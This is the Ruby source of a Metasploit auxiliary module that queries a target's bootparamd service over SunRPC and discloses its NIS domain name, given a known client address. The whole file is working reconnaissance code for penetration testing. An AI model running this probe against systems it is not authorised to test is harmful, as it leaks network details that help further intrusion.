##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::SunRPC
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NIS bootparamd Domain Name Disclosure',
        'Description' => %q{
          This module discloses the NIS domain name from bootparamd.

          You must know a client address from the target's bootparams file.

          Hint: try hosts within the same network range as the target.
        },
        'Author' => [
          'SATAN',         # boot.c
          'pentestmonkey', # Blog post
          'wvu'            # Metasploit module
        ],
        'References' => [
          ['URL', 'https://datatracker.ietf.org/doc/html/rfc1831'],
          ['URL', 'https://datatracker.ietf.org/doc/html/rfc4506'],
          ['URL', 'https://pentestmonkey.net/blog/nis-domain-name']
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w[tcp udp]]),
      OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
    ])

    register_advanced_options([
      OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
    ])
  end

  def run
    proto = datastore['PROTOCOL']
    client = datastore['CLIENT']

    begin
      sunrpc_create(
        proto,  # Protocol: UDP (17)
        100026, # Program: BOOTPARAMS (100026)
        1       # Program Version: 1
      )
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Could not connect to portmapper')
    rescue Rex::Proto::SunRPC::RPCError
      fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
    end

    # Flavor: AUTH_NULL (0)
    sunrpc_authnull

    # Convert ASCII to network byte order to four unsigned chars :(
    client_addr = Rex::Socket.addr_aton(client).unpack('C4')

    bootparam_whoami = Rex::Encoder::XDR.encode(
      1,           # Address Type: IPv4-ADDR (1)
      *client_addr # Client Address: [redacted]
    )

    begin
      res = sunrpc_call(
        1,               # Procedure: WHOAMI (1)
        bootparam_whoami # Boot Parameters
      )
    rescue Rex::Proto::SunRPC::RPCError
      fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
    rescue Rex::Proto::SunRPC::RPCTimeout
      fail_with(Failure::NotVulnerable,
                'Could not disclose NIS domain name (try another CLIENT?)')
    ensure
      # Shut it down! Shut it down forever!
      sunrpc_destroy
    end

    unless res
      fail_with(Failure::Unreachable, 'No response from server')
    end

    bootparams = begin
      Timeout.timeout(datastore['XDRTimeout']) do
        parse_bootparams(res)
      end
    rescue Timeout::Error
      fail_with(Failure::TimeoutExpired,
                'XDR decoding timed out (try increasing XDRTimeout?)')
    end

    if bootparams.blank?
      fail_with(Failure::Unknown, 'Could not parse bootparams')
    end

    bootparams.each do |host, domain|
      msg = "NIS domain name for host #{host} (#{client}) is #{domain}"

      print_good(msg)

      report_note(
        host: rhost,
        port: rport,
        proto: proto,
        type: 'nis.bootparamd.domain',
        data: { :message => msg }
      )
    end
  end

  def parse_bootparams(res)
    bootparams = {}

    loop do
      begin
        # XXX: res is modified in place
        host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
          res,
          String,  # Client Host: [redacted]
          String,  # Client Domain: [redacted]
          Integer, # Address Type: IPv4-ADDR (1)
          # One int per octet in an IPv4 address
          Integer, # Router Address: [redacted]
          Integer, # Router Address: [redacted]
          Integer, # Router Address: [redacted]
          Integer  # Router Address: [redacted]
        )

        break unless host && domain

        bootparams[host] = domain
      rescue Rex::ArgumentError
        vprint_status("Finished XDR decoding at #{res.inspect}")
        break
      end
    end

    bootparams
  end

end
